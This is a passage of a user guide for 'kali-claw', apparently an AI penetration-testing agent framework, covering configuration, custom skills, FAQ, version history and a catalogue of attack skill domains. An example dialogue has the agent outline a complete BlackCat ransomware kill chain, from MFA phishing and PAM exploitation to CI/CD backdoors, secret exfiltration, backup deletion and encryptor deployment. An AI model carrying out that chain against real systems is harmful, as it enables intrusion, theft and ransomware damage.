       - Non-compliant with NIST SP 800-63B (no password complexity)
       - Missing audit trail for failed login attempts
       - Password storage uses SHA-256 (should use bcrypt/argon2)
       - Session timeout set to 30 days (too long)

       ## Consensus Recommendations
       Priority 1: Fix session token generation (critical)
       Priority 2: Implement rate limiting (high)
       Priority 3: Upgrade password hashing (high)
       Priority 4: Add 2FA (medium)

    5.5 Modern Enterprise Attack Chain (new in v0.1.39)

    v0.1.39 completed the modern enterprise security stack with PAM, CI/CD, CSPM/CASB, and SASE/SSE. The agent can now walk through a full ransomware-family kill chain:

    You: Use kali-claw to walk me through the BlackCat ransomware kill chain end-to-end

Agent: Based on Mandiant 2023 + CrowdStrike 2024 reports, BlackCat's typical path:

Stage 1: Initial access (sase-sse-attack / email-security-deep)
- Bypass Zscaler ZIA egress inspection, deliver phishing email
- AiTM phishing (evilginx2) harvests MFA credentials

Stage 2: Identity penetration (cloud-identity-attack)
- Entra ID PRT theft -> Conditional Access bypass
- Use ROADtools to obtain a legitimate refresh token

Stage 3: Credential hub (pam-privilege-attack)
- Log in to CyberArk PVWA with stolen creds
- Exploit CVE-2025-32564 auth bypass, escalate to Vault Admin
- Recover plaintext passwords from .cue cred files -> all domain admin accounts

Stage 4: Lateral movement (ad-cs-abuse / ad-ldap-attack)
- ESC1 abuse -> request Domain Controller certificate
- Pass-the-Hash + Kerberoasting laterally to all DCs

Stage 5: Persistence (ci-cd-supply-chain-attack)
- Plant backdoor in Jenkins shared library
- Modify GitHub Actions workflow to exfiltrate all secrets
- Use dependency confusion to plant malicious npm packages

Stage 6: Defense evasion (cspm-casb-attack)
- Tamper Terraform state so Wiz graph hides real config
- Use OPA Rego case-sensitivity trap to bypass Kyverno policy

Stage 7: Data exfiltration + encryption deployment (storage-san-attack)
- Steal via NetApp NDMP snapshots
- Use stolen creds to log in to Dell EMC Unity and delete backups
- Deploy BlackCat encryptor

Each stage maps to a kali-claw skill domain. Specific TTPs and commands live in skills/<domain>/payloads.md.

    6. Advanced Configuration

    6.1 MCP Tool Integration

    MCP (Model Context Protocol) allows kali-claw to expose Kali Linux tools as standardized, callable services.

    The mcp-server-patterns skill provides templates for wrapping security tools as MCP servers.

    Example: wrapping nmap as an MCP tool:

    1. Create a wrapper script that accepts structured input and returns structured output
    2. Register it as an MCP server in the OpenClaw configuration
    3. kali-claw can now call nmap through a standardized interface with proper input validation and output parsing

    This enables better tool integration, logging, and safety guards around tool execution.

    6.2 Custom Skills

    Follow these steps to create a new skill domain (Agent Skills Open Standard compliant):

    Step 1: Create the directory

    mkdir -p skills/my-custom-skill/guides

    Step 2: Write SKILL.md (with YAML frontmatter)

    ---
name: my-custom-skill
description: Brief one-line description for skill matching
compatibility: >= 0.1.39
allowed-tools:
  - Bash
  - Read
  - Write
metadata:
  category: custom
  domain: reconnaissance
  mitre:
    - T1595 Active Scanning
  tools:
    - nmap
    - masscan
---

# My Custom Skill

## Summary
One-line summary of the problem this skill solves.

## Description
Detailed description of what this skill does.

## Use Cases
- Use case 1
- Use case 2

## Core Tools
- tool1
- tool2

## Methodology
1. Step one
2. Step two
3. Step three

## Practical Steps
Detailed executable steps.

## Defense Perspective
How defenders detect and mitigate.

## Orchestration
Which ECC pattern(s) this skill uses and how.

    Step 3: Write payloads.md

    # Attack Payloads - My Custom Skill

## Type 1: Category Name

### Payload 1
Description and usage:
\`\`\`bash
command --option value
\`\`\`

### Payload 2
...

    Step 4: Write test-cases.md

    # Test Cases - My Custom Skill

## TC-001: Test Case Title

- **Target**: What is being tested
- **Preconditions**: What must be true before testing
- **Steps**:
  1. Step one
  2. Step two
- **Expected Result**: What should happen
- **Actual Result**: (filled during testing)
- **Status**: Pass / Fail

    Step 5 (recommended): Create guides/ directory

    mkdir -p skills/my-custom-skill/guides
# Add 1-3 deep-dive learning guides inside

    Step 6 (optional): Use the standard-alignment script

    python3 validation/update-skill-standard.py --skill my-custom-skill --dry-run
# Inspect, then drop --dry-run to write

    Step 7: Add a skill tag in IDENTITY.md

    | My Custom Skill | description of capabilities | Related Laws |

    Step 8: Add related tools in TOOLS.md

    Add tools used by your new skill to the Category Index table.

    Step 9: Score and verify

    bash validation/SCORE.sh --skill my-custom-skill
# Target: at least Excellent (80+), ideally Distinguished (92+)

    6.3 Custom Behaviors

    Modify the 12 Hacker Laws in SOUL.md:

    The laws are universal, but you can adjust emphasis or add domain-specific rules. For example, for a compliance-focused agent, add a 13th law:

    ### 13. Compliance by Design
Every action must be traceable, auditable, and compliant with applicable regulations.

    Adjust heartbeat tasks in HEARTBEAT.md:

    Add custom monitoring tasks relevant to your use case. For example:

    ## Custom Monitoring

- [ ] Check if any Docker containers have been running for > 24 hours
- [ ] Verify that no test targets are still accessible

    Modify session startup flow in AGENTS.md:

    Add or remove steps from the "Every Session" section. For example:

    ## Every Session

1. Read SOUL.md
2. Read USER.md
3. Read memory/YYYY-MM-DD.md
4. Read MEMORY.md
5. Check https://your-dashboard.com/api/status for active engagements

    7. Version History and Milestones

    7.1 Major Version Timeline

    kali-claw follows an alternating "expansion <-> quality" rhythm, each version has a clear theme:

    PhaseVersionsKey Milestone
    Foundationv0.1.1 - v0.1.745 -> 139 skill domains, layered architecture established
    Full Enrichmentv0.1.8 - v0.1.1049/49 FULL enrichment, 7/7 integration tests PASS
    Quality scoring introducedv0.1.11 - v0.1.14SCORE.sh v1, 49/49 Excellent 100%
    Scoring v2v0.1.15 - v0.1.17Distinguished tier introduced, TEMPLATE.md
    Expansion wave 1v0.1.18 - v0.1.2149 -> 70 skill domains (exploit-dev / privesc / payload-gen / AV-EDR / DNS / XXE / LFI / CMS / stego / bluetooth / firmware / SCADA / DB / VoIP / anti-forensics / AD-LDAP / web-deserialization / email)
    Distinguished sprintv0.1.22 - v0.1.275 -> 17 Distinguished
    Expansion wave 2v0.1.28 - v0.1.3170 -> 91 skill domains (darkweb / threat-hunting / blockchain / payment / llm-red-team / honeypot / k8s / secret-mgmt / ai-agent / iot / detection-eng / agentic-pentest / cloud-identity / physical / quantum / email-deep)
    100% Excellent+v0.1.3291/91 Excellent+, zero Strong remaining
    GitHub-trending expansionv0.1.33 - v0.1.3591 -> 103 (5G / automotive / mobile-deep / cloud-native-vuln / macOS / UAV / game-anticheat / mainframe / ICS-fieldbus / HF/VHF / blockchain-L2 / RTOS)
    E-plan quality liftv0.1.3619 -> 28 Distinguished (+9)
    Wave 7 expansionv0.1.37103 -> 107 (storage-SAN / hypervisor / satellite-LEO / AD CS)
    E-plan againv0.1.3828 -> 32 Distinguished, first time breaking 30, min score 85.1 (quality debt cleared)
    Wave 8 expansion (current)v0.1.39107 -> 111 (CI/CD supply chain / PAM / CSPM-CASB / SASE-SSE). First time a new skill entered Distinguished on baseline (pam-privilege-attack 92.0)

    7.2 Current Quality Snapshot (v0.1.39)

    TierCountRepresentative Skills
    Distinguished (92+)33secret-management-attack (94.6) · social-intelligence (93.8) · sdr-rf-attack (93.6) · article-writing (93.6) · deep-research (93.5) · payload-generation (93.1) · scada-ics-security (93.0) · ad-cs-abuse (93.0) · vulnerability-assessment (93.0) · 5g-telecom-attack (92.7) · embedded-rtos-security (92.7) · agentic-pentest (92.6) · autonomous-loops (92.6) · verification-loop (92.6) · quantum-crypto-attack (92.5) · osint (92.5) · vpn-attack (92.5) · ai-security (92.3) · council (92.3) · network-tunneling-proxy (92.3) · crypto-attacks (92.2) · macos-security (92.2) · username-profiling (92.2) · web-deserialization (92.2) · cloud-security (92.1) · hf-vhf-radio-attack (92.1) · email-security-deep (92.0) · network-pentest (92.0) · security-bounty-hunter (92.0) · pam-privilege-attack (92.0) · security-misconfiguration (92.8) · container-security (92.8) · web-xss (92.0)
    Excellent (80-91.9)78storage-san-attack (91.5) · dns-attacks (91.1) · kubernetes-attack (90.2) · blockchain-web3 (90.2) · cloud-identity-attack (89.0) · ci-cd-supply-chain-attack (89.2) · cspm-casb-attack (88.5) · sase-sse-attack (88.2) · ...
    Strong (60-80)0--
    Adequate (40-60)0--
    Weak (0-40)0--

    Average: 88.78 | 137/137 Excellent+ (100%) | 33 Distinguished

    7.3 What's Coming in v0.1.40

    Following the alternating expansion/quality rhythm, v0.1.40 will likely return to the quality-lift track. Candidates:

    • A-track Distinguished sprint -- 7 skills are stuck at 89-91.9 (storage-san-attack 91.5, dns-attacks 91.1, blockchain-web3 90.2, kubernetes-attack 90.2, darkweb-intel 89.2, av-edr-evasion 89.1, cloud-identity-attack 89.0). Adding one more guide to each would push most of them past 92+
    • Bottom lift -- 5 skills are stuck at 85-86 (chronicle 85.1, cloud-native-vuln-research 85.2, email-protocol-attack 85.2, game-anticheat-bypass 85.2, multi-agent-collaboration 85.4). Lifting them to 88+ raises the floor again
    • Wave 8 cohort deepening -- Add a second guide each for ci-cd-supply-chain-attack, cspm-casb-attack, and sase-sse-attack
    • Wave 9 expansion -- Candidates include GitOps security, QKD attacks, Open Banking/PSD2, HSM attacks, CPS cyber-physical systems

    8. FAQ

    Q1: npm install -g openclaw gives a permission error

    Problem: EACCES: permission denied when installing globally.

    Cause: npm tries to write to a system directory that requires elevated privileges.

    Solution:

    # Option 1: Use sudo (quick fix)
sudo npm install -g openclaw@latest

# Option 2: Configure npm to use a user-writable directory (recommended)
mkdir -p ~/.npm-global
npm config set prefix '~/.npm-global'
echo 'export PATH=~/.npm-global/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
npm install -g openclaw@latest

    Q2: openclaw gateway start fails to connect

    Problem: Gateway does not start or connection is refused.

    Cause: Port conflict, firewall blocking, or incompatible Node.js version.

    Solution:

    # Check Node.js version (needs >= 18)
node --version

# Check if the port is already in use
lsof -i :3000    # or whatever port OpenClaw uses

# Check firewall rules
sudo ufw status   # Linux
# Or on Mac: System Preferences > Network > Firewall

    Q3: Agent says it cannot find nmap, sqlmap, or other tools

    Problem: The agent reports tools are not available.

    Cause: Tools are not installed on the Kali system, not in PATH, or SSH connection to the remote Kali machine has failed.

    Solution:

    # If running on Kali directly
sudo apt update && sudo apt install -y nmap sqlmap nikto hydra

# If using remote SSH
ssh user@kali-host "which nmap"
ssh user@kali-host "nmap --version"

# If using Docker
docker exec -it kali-claw-env which nmap
docker exec -it kali-claw-env apt install -y nmap

    Q4: Skills are not being triggered

    Problem: The agent does not seem to be using the right skills.

    Cause: Task description may be too vague, or skill descriptions do not match the request.

    Solution:

    • Be more explicit: instead of "check this website", say "scan this website for SQL injection vulnerabilities"
    • Reference skill names directly: "Use the web-sqli skill to test the login form"
    • Check that the relevant skill exists in skills/ and has proper descriptions in SKILL.md
    • Verify the description field in the YAML frontmatter -- this is the primary signal for skill matching

    Q5: Memory seems lost after a session

    Problem: The agent does not remember previous conversations.

    Cause: Daily memory files may be missing, or MEMORY.md may not exist.

    Solution:

    # Check that memory files exist
ls -la memory/

# Verify MEMORY.md exists
ls -la MEMORY.md

# If MEMORY.md is missing, the agent will still read daily logs
# but will lack long-term distilled knowledge

    Q6: How do I reset the agent completely?

    Problem: You want to start with a clean slate.

    Solution:

    # Delete all memory (this is irreversible!)
rm -f memory/*.md memory/alerts.txt
rm -rf chronicle/

# MEMORY.md will be regenerated as the agent learns
# You can also clear it manually:
> MEMORY.md

    Q7: How do I update to the latest version?

    Problem: You want the newest skills and configurations.

    Solution:

    cd ~/.openclaw/workspace-kali-claw/
git pull origin main

# If you have local modifications that conflict:
git stash
git pull origin main
git stash pop

# After pulling, run quality scoring once to confirm all skills are intact
bash validation/SCORE.sh

    Q8: Can I use kali-claw on a non-Kali system?

    Problem: You do not have Kali Linux installed.

    Solution: Yes, but with limitations.

    • Without Kali Linux: kali-claw can still help with research, learning, planning, and report writing. It just cannot execute security tools like nmap, sqlmap, etc.
    • With remote Kali: Set up SSH access (see Section 2.2) to a Kali machine.
    • With Docker: Run a Kali container (see Section 2.3) on any system with Docker installed.

    Q9: How do I contribute a new skill or improvement?

    1. Fork the repo and create a feature branch
    2. Follow the "6.2 Custom Skills" workflow to create the skill domain
    3. Run bash validation/SCORE.sh --skill <your-skill> and confirm it reaches Excellent (80+)
    4. Open a PR with score evidence and 1-2 real-world scenario test results

    See the root README.md for the PR template.

    Q10: How do I know which skills are strongest / most in need of improvement?

    # View all skill scores (high to low)
cat validation/QUALITY-SCORE-TRACKER.md

# Or inspect a single skill
cat validation/evidence/quality-scores/<skill-name>.json

    The JSON includes the 4-component breakdown (skill_md / payloads_md / test_cases_md / guides), so you can pinpoint exactly where the weak spot is.

    9. Core File Reference

    FilePurposeWhen to Modify
    SOUL.mdAgent personality, 12 Hacker Laws, behavioral guidelines, boundariesCustomizing personality, adding new laws
    AGENTS.mdWorkspace config, session startup sequence, memory system rulesAdjusting session flow, changing agent name/role
    IDENTITY.mdSkill tags table (111 rows), personality traits, creature typeAdding/removing skill domains, changing agent identity
    USER.mdCaptain profile, preferences, interests, current focusNew user first-time setup, updating preferences
    MEMORY.mdLong-term distilled knowledge and key decisionsGenerally do NOT edit manually -- let the agent manage it
    TOOLS.md518 tool inventory, learning progress, learning strategyAdding new tools, updating mastery status
    HEARTBEAT.mdAutomated heartbeat tasks: health, learning, security, maintenanceAdjusting check frequency, adding custom monitoring
    CHANGELOG.mdFull version change logGenerally do NOT edit manually
    skills/139 skill domains with payloads, test cases, and guidesAdding new skills, updating existing payloads
    validation/Automation script suite (SCORE.sh, orchestrator.sh, ...)Adjusting scoring weights, adding new scenarios
    validation/engagement-template/Authorized pentest templates (targets/scope/report)Adding new engagement types
    memory/Daily memory logs (YYYY-MM-DD.md)Generally do NOT edit manually
    chronicle/Monthly milestone tracking (YYYY-MM/*.md)Generally do NOT edit manually
    docs/Long-form design docs and plansMajor architectural changes
    RELEASE-v0.1.X.mdPer-version release notesGenerally do NOT edit manually

    For first-time use, you only need to modify 4 files: USER.md, SOUL.md, IDENTITY.md, AGENTS.md (see Section 3.4).

    All other files are maintained automatically by the agent and usually do not need manual editing.

    This guide covers OpenClaw + kali-claw v0.1.39 (139 skill domains, 33 Distinguished, 100% Excellent+). For the latest updates, visit the kali-claw repository.

  • kali-claw-pentest-agent/GUIDE-OPENCLAW-zh.mdmarkdown · 50.9 KB

    OpenClaw + kali-claw 完整使用指南

    ⚠️ 更新说明（2026-08-08）：本指南已更新至 kali-claw v0.2.4（Phase 2 Track 1 Minor Release）。主要变化：

    • 139 个技能域（v0.2.4 新增 eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack；早期版本为 49/111/130/137）
    • 全部 139 个 SKILL 达到 v0.2.0.2 标准（v0.2.4 起），含完整 Defense Triple — 100% 覆盖
    • 新增 7 个战略 SKILL：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced
    • 生成 6 个文档：SKILL_HANDBOOK、QUICK_REFERENCE、SKILL_INDEX.json、DOMAIN_MATRIX、TOOLS_LIFECYCLE、SKILL_MAINTENANCE
    • 5 个自动化脚本：skill-lint.py、validate-payloads.py、validate-testcases.py、GitHub Actions CI/CD、update-skill-standard.py
    • v0.2.4 关键变化：MAJOR 工具升级修复（frida 17 / hashcat 7 / docker 29）；Defense Perspective 内容质量改进；2 个新 SKILL 落地
    • skill-lint 0 errors / 0 warnings, 139/139 clean pass（v0.2.3 起）
    • 详见 RELEASE-v0.2.4.md（最新）；历史：RELEASE-v0.2.1.md

    本指南中关于 agent 工具的命令和配置步骤仍然准确，仅更新了 kali-claw 侧的元数据。

    面向 v0.1.39 | 从零开始，手把手教你搭建和使用 AI 渗透测试智能体（137 个技能域、33 个 Distinguished）

    一、概念理解

    1.1 OpenClaw 是什么

    OpenClaw 是一个 AI 智能体运行框架，通过 npm 安装，提供以下核心能力：

    • 智能体管理 — 创建、列表、删除 AI 智能体（openclaw agents add/list/remove）
    • 独立工作空间 — 每个智能体拥有独立的文件目录，互不干扰
    • 网关服务 — 提供统一的对话入口（openclaw gateway start）
    • 会话管理 — 自动加载工作空间中的配置和记忆文件
    • 心跳轮询 — 定期触发智能体执行自动化任务

    类比理解：如果把 OpenClaw 想象成手机操作系统（比如 iOS），那 kali-claw 就是一个安装在上面的 App。操作系统提供运行环境和管理能力，App 提供具体功能。

    1.2 kali-claw 是什么

    kali-claw 是基于 OpenClaw 框架的 预构建渗透测试智能体工作空间。它不是一个传统的软件代码仓库，而是一个 Markdown 格式的知识库 + 配置系统 + 自动化脚本 的组合。

    核心组成：

    • 139 个安全技能域 — 覆盖 Web 安全、网络渗透、密码攻击、云与身份、容器与云原生、AI/LLM 安全、企业身份（Entra ID/Okta）、现代企业栈（PAM/CI-CD/CSPM-CASB/SASE-SSE）、关键基础设施（SCADA/ICS）、区块链/Web3、移动与物联网、量子与后量子、无线电/卫星等
    • 518 个 Kali Linux 工具知识库 — 从 nmap 到 sqlmap，从 burpsuite 到 metasploit
    • 12 条黑客法则 — 定义智能体的思维方式（第一性原理、发散思维、最小攻击面等）
    • 三层记忆系统 — 每日日志 / 月度编年史 / 长期精炼知识
    • Agent Skills 开放标准合规 — 所有 SKILL.md 文件使用 Anthropic 2025 年发布的 YAML frontmatter 标准（name、description、compatibility、allowed-tools、metadata）
    • 质量评分体系（SCORE.sh v2） — 7 项指标 × 4 组件 × 5 级分层（Distinguished / Excellent / Strong / Adequate / Weak）
    • 自动化验证与编排 — validation/ 目录下 10+ 个脚本：心跳检查、备份、漂移检测、场景运行器、端到端编排、报告生成

    与直接使用 ChatGPT/Claude 的区别：

    特性ChatGPT/Claudekali-claw
    持久记忆无（每次对话从零开始）有（文件级三层记忆系统）
    技能体系无137 个领域、结构化技能
    工具执行不能直接执行命令可调用 Kali Linux 全部 518 安全工具
    人格一致性无SOUL.md 定义固定人格 + 12 条法则
    学习进化无通过记忆和心跳持续学习
    攻击载荷库无每个技能含数 MB 的 payloads.md
    检测规则对应无蓝队视角 + Sigma/SPL/KQL 规则
    真实事件复盘无SolarWinds / Capital One / 3CX / xz-utils 等深度案例

    1.3 整体架构

    用户
  |
  v
OpenClaw Gateway（网关服务）
  |
  v
kali-claw 工作空间
  +-- SOUL.md              <-- 智能体人格（是谁、怎么思考）
  +-- USER.md              <-- 用户信息（帮助谁、什么偏好）
  +-- IDENTITY.md          <-- 技能标签（111 行 skill tags）
  +-- AGENTS.md            <-- 工作空间配置 + 会话启动流程
  +-- MEMORY.md            <-- 长期精炼知识
  +-- TOOLS.md             <-- 518 工具学习进度
  +-- HEARTBEAT.md         <-- 心跳自动化任务
  +-- CHANGELOG.md         <-- 版本变更日志（v0.1.1 → v0.1.39）
  +-- skills/              <-- 137 个技能域
  |   +-- web-sqli/
  |   |   +-- SKILL.md        <-- 含 YAML frontmatter（Agent Skills 标准）
  |   |   +-- payloads.md     <-- 攻击载荷
  |   |   +-- test-cases.md   <-- 测试用例
  |   |   +-- guides/         <-- 深度指南
  |   +-- ci-cd-supply-chain-attack/
  |   +-- pam-privilege-attack/
  |   +-- cspm-casb-attack/
  |   +-- sase-sse-attack/
  |   +-- ad-cs-abuse/
  |   +-- cloud-identity-attack/
  |   +-- ... (共 137 个)
  +-- validation/          <-- 自动化验证与编排
  |   +-- SCORE.sh               <-- 质量评分引擎
  |   +-- heartbeat.sh            <-- 工作空间健康检查
  |   +-- orchestrator.sh         <-- 端到端渗透编排
  |   +-- scenario-runner.sh      <-- 跨技能场景执行
  |   +-- tool-selector.sh        <-- 目标→工具映射
  |   +-- report-generator.sh     <-- 自动报告生成
  |   +-- update-skill-standard.py <-- SKILL.md 标准对齐
  |   +-- engagement-template/    <-- 授权渗透模板
  |   +-- evidence/               <-- 评分与场景证据
  +-- memory/              <-- 每日记忆日志
  +-- chronicle/           <-- 月度里程碑
  +-- docs/                <-- 长篇设计文档与规划
  +-- bak/                 <-- 备份目录

    会话启动流程（每次对话开始时自动执行）：

    1. 读取 SOUL.md      --> 加载人格和 12 条黑客法则
2. 读取 USER.md      --> 了解用户是谁、有什么偏好
3. 读取今日记忆       --> 获取今天和昨天的上下文
4. 读取 MEMORY.md    --> 加载长期精炼知识
5. 准备就绪           --> 开始对话

    整个过程是自动的，你不需要手动操作。

    1.4 质量分级体系（v0.1.16 引入，v0.1.39 当前状态）

    kali-claw 内置了一套 客观可量化 的技能质量评分系统，每个技能域都会得到一个 0-100 的分数，对应 5 个等级：

    等级分数段v0.1.39 数量含义
    Distinguished（卓越）92.0 - 10033同类最佳深度，可作为参考实现
    Excellent（优秀）80.0 - 91.978全面覆盖，仅个别维度有提升空间
    Strong（良好）60.0 - 79.90较好覆盖
    Adequate（合格）40.0 - 59.90组件齐全但深度不足
    Weak（薄弱）0 - 39.90缺失关键组件

    当前状态（v0.1.39）：

    • 137/137 技能达到 Excellent+（100%）
    • 平均分：88.78
    • 最低分 / 最高分：85.1 / 94.6
    • Distinguished 比例：33/111 ≈ 30%

    评分细节见 validation/SCORING-METHODOLOGY.md，每技能的 JSON 证据在 validation/evidence/quality-scores/。

    二、环境准备

    2.1 方案 A：Kali Linux 本机运行（推荐）

    最简单的方案：直接在 Kali Linux 上安装 OpenClaw，智能体可以直接调用所有安全工具。

    系统要求：

    • Kali Linux 2025.x（ARM64 / x86_64 均可）
    • Node.js >= 18
    • 磁盘空间 >= 500MB

    安装 Node.js：

    # 方式一：直接安装
sudo apt update
sudo apt install -y nodejs npm

# 方式二：使用 nvm 安装最新 LTS（推荐）
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
source ~/.bashrc
nvm install --lts

    验证安装：

    node --version
# 应输出 v18.x.x 或更高版本

    2.2 方案 B：远程 Kali（SSH 访问）

    适用场景：你在 Mac 或 Windows 上工作，不想装虚拟机，但有一台远程 Kali Linux 服务器。

    架构：OpenClaw 安装在你的本机（Mac/Windows/Linux），kali-claw 通过 SSH 远程调用 Kali Linux 上的安全工具。

    配置步骤：

    # 1. 生成 SSH 密钥（如果还没有）
ssh-keygen -t ed25519 -C "kali-claw"

# 2. 将公钥复制到远程 Kali
ssh-copy-id user@kali-host

# 3. 验证连接和工具可用
ssh user@kali-host "nmap --version"
# 应输出 nmap 版本信息

# 4. 测试更多工具
ssh user@kali-host "sqlmap --version && nikto -Version"

    在 USER.md 中记录远程连接信息：

    - **Kali Host**: user@192.168.1.100
- **Connection**: SSH via ed25519 key
- **Access**: nmap, sqlmap, nikto, hydra, metasploit

    2.3 方案 C：Docker 容器

    适用场景：不想装完整 Kali 系统，用 Docker 快速搭建。

    # 1. 拉取 Kali 镜像
docker pull kalilinux/kali-rolling

# 2. 启动容器并安装安全工具
docker run -it --name kali-claw-env kalilinux/kali-rolling /bin/bash
# 在容器内执行：
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# 3. 退出容器后，以后用以下命令重新进入
docker start -ai kali-claw-env

    kali-claw 工作空间在宿主机上，通过卷挂载或 SSH 连接到容器。

    2.4 环境检查清单

    在继续之前，确认以下各项：

    • Node.js >= 18 已安装（node --version）
    • OpenClaw 已安装（npm list -g openclaw 或 openclaw --version）
    • Kali Linux 可用（本机 / SSH 远程 / Docker 容器均可）
    • 基本 Kali 工具可用（运行 nmap --version 验证）
    • 网络连接正常（智能体需要联网获取信息）

    三、安装与初始化

    3.1 安装 OpenClaw

    npm install -g openclaw@latest

    验证安装：

    openclaw --version

    常见问题：

    问题解决方案
    权限不足 (EACCES)使用 sudo npm install -g openclaw@latest
    npm 镜像超时（国内用户）npm config set registry https://registry.npmmirror.com
    Node.js 版本过低使用 nvm 安装最新 LTS

    3.2 创建专用智能体

    openclaw agents add kali-claw --workspace ~/.openclaw/workspace-kali-claw

    为什么要创建专用智能体（而不是用 main）：

    • 独立工作空间 — kali-claw 的记忆、技能、配置与其他智能体完全隔离
    • 独立记忆 — 渗透测试知识不会被其他智能体的对话覆盖
    • 独立配置 — 可以单独设置模型、权限、路由
    • 独立管理 — 可以单独启停、更新、重置

    3.3 克隆 kali-claw 工作空间

    cd ~/.openclaw/workspace-kali-claw/
git clone https://github.com/brucesongs/kali-claw.git .

    注意末尾的点号（.） — 它表示克隆到当前目录，而不是创建子目录。

    验证克隆成功：

    ls -la

    应看到以下文件和目录：

    SOUL.md           CHANGELOG.md      MEMORY.md
AGENTS.md         CLAUDE.md         TOOLS.md
IDENTITY.md       HEARTBEAT.md      README.md
USER.md           LICENSE           VERSION
skills/           validation/       memory/
chronicle/        docs/             bak/
GUIDE-OPENCLAW-zh.md   GUIDE-OPENCLAW-en.md
RELEASE-v0.1.X.md（每个版本一份发布说明）

    3.4 首次配置（4 个文件必须修改）

    克隆完成后，必须修改以下 4 个文件，让智能体知道你是谁、它应该扮演什么角色。

    文件一：USER.md — 填写你的信息

    # 修改前（默认值）
## Basic Info
- **Name**: kali-claw
- **Title**: Captain
- **Timezone**: Asia/Shanghai (CST)
- **Language Preference**: Chinese primary, technical terms in English

# --------------------------------

# 修改后（你的实际信息，示例）
## Basic Info
- **Name**: Alex
- **Title**: Captain
- **Timezone**: America/New_York (EST)
- **Language Preference**: English primary

## Key Interests
- Bug Bounty Hunting
- Web Application Security
- CTF Competitions
- Python Security Tools

## Current Focus
- Preparing for OSCP certification
- Learning SQL injection and XSS techniques
- Building a home lab with DVWA and Juice Shop

## Preferences & Style
- **Technical Communication**: Step-by-step with commands
- **Learning Style**: Theory first, then hands-on
- **Problem Solving**: Discuss approach first, then execute

    文件二：SOUL.md — 修改昵称和角色描述

    # 修改前（默认值，位于 "Identity" 部分）
- **Nickname**: kali-claw
- **Role**: Senior Penetration Testing Engineer -- Master of all Kali Linux security tools

# --------------------------------

# 修改后（示例）
- **Nickname**: pentest-buddy
- **Role**: Security Learning Assistant -- Helping me master penetration testing step by step

    注意：只修改 Identity 部分的昵称和角色描述，不要修改 12 条黑客法则，它们是通用的安全思维框架。

    文件三：IDENTITY.md — 调整技能标签

    IDENTITY.md 中的技能标签表格（v0.1.39 有 111 行）决定了智能体的"能力图谱"。你可以：

    • 删除不需要的技能行 — 比如不关心 WiFi 渗透测试，就删掉 Wireless Security 行
    • 添加自定义技能 — 在表格中添加新的领域
    # 示例：如果你只关注 Web 安全和代码审计，只保留这些行：

| Domain | Core Capabilities | Related Laws |
|--------|-------------------|--------------|
| Web Security | SQL injection, XSS, SSRF, auth bypass, access control | Trust but Verify, Minimize Attack Surface |
| API Security | REST/GraphQL testing, auth bypass, rate limiting | Trust but Verify |
| Security Review | OWASP Top 10 audit, source code audit, dependency scan | Trust but Verify, Minimize Attack Surface |
| Repo Scan | Codebase security, library detection, secret scanning | First Principles, Trust but Verify |
| Search First | Exploit/tool search, existing solution discovery | Information Wants to Be Free |

    文件四：AGENTS.md — 更新智能体配置块

    # 修改前（默认值，位于 "Agent Config" 部分）
- **Agent Name**: kali-claw
- **Runtime Environment**: Kali Linux
- **Role**: Penetration Testing Engineer
- **Specialty**: Security tools + penetration testing + vulnerability research
- **Work Mode**: 24/7 Continuous

# --------------------------------

# 修改后（示例）
- **Agent Name**: pentest-buddy
- **Runtime Environment**: Kali Linux (remote SSH at 192.168.1.100)
- **Role**: Security Learning Assistant
- **Specialty**: Web penetration testing + vulnerability discovery
- **Work Mode**: On-demand

    3.5 启动并验证

    openclaw gateway start

    启动后，在网关中发送测试消息验证智能体正常：

    > 你好，请介绍一下你自己

    智能体应该回复包含你修改后的昵称、角色描述以及技能概览。

    > 你记得我的名字和偏好是什么吗？

    智能体应该能从 USER.md 中读取并正确回答。

    3.6 运行质量评分（可选但推荐）

    克隆完成后，可以运行一次评分脚本，确认所有技能都到位：

    bash validation/SCORE.sh

    这会生成所有 137 个技能域的 JSON 评分文件到 validation/evidence/quality-scores/。如果你计划自己改造技能，这套分数能帮你定位薄弱环节。

    四、核心概念详解

    4.1 技能系统

    kali-claw 拥有 137 个技能域，按攻击面/防御面/能力类型大致分为 8 大类：

    Web 与 API 攻击

    技能域说明
    web-sqli / web-xss / web-ssrf经典 Web 三件套（含 CSP 绕过、云元数据 SSRF）
    web-auth-bypass / web-access-control认证绕过、IDOR、OAuth/JWT 攻击
    web-xxe / web-deserialization / file-inclusionXML 外部实体、Java/PHP/.NET 反序列化、LFI/RFI
    cms-framework-attackWordPress/Joomla/Drupal 渗透
    api-securityREST/GraphQL、速率限制、参数篡改
    email-security-deepAiTM 钓鱼、邮件网关绕过（Proofpoint/Mimecast）、CVE-2024-21413
    browser-qaPlaywright/Puppeteer 自动化浏览器安全测试

    网络与基础设施

    技能域说明
    network-pentest / recon-osint扫描、利用、横向移动、子域名枚举
    network-sniffing-mitm / network-tunneling-proxy流量劫持、SSH/DNS/ICMP 隧道、SOCKS 代理链
    dns-attacksDNS 重绑定、SAD DNS、DoH/DoT/DoQ 隧道、子域名接管
    vpn-attack / sase-sse-attack传统 VPN + 现代边缘（Zscaler / Netskope / Cloudflare One / Cisco Umbrella）
    email-protocol-attackSMTP 枚举、SPF/DKIM/DMARC 绕过
    voip-sip-attackSIP 偷听、VLAN hopping

    身份与企业栈

    技能域说明
    ad-ldap-attackAD/LDAP/Kerberos（AS-REP Roasting、Kerberoasting、DCSync、PTH）
    ad-cs-abuseAD 证书服务 ESC1-ESC15、PetitPotam、Certifried (CVE-2022-26923)
    cloud-identity-attackEntra ID / Okta / Auth0、PRT 盗窃、Golden SAML
    pam-privilege-attackCyberArk / BeyondTrust / Delinea / ManageEngine / WALLIX 等 8 大 PAM 厂商
    ci-cd-supply-chain-attackJenkins、GitLab CI、GitHub Actions、Argo CD、xz-utils / SolarWinds / 3CX 复盘
    cspm-casb-attackWiz / Prisma Cloud / Netskope、OPA/Kyverno 策略绕过

    云与容器

    技能域说明
    cloud-securityAWS/Azure/GCP、IAM、S3 暴露、元数据攻击
    container-security / kubernetes-attackDocker 逃逸、K8s RBAC、Pod Escape、runc CVE-2024-21626
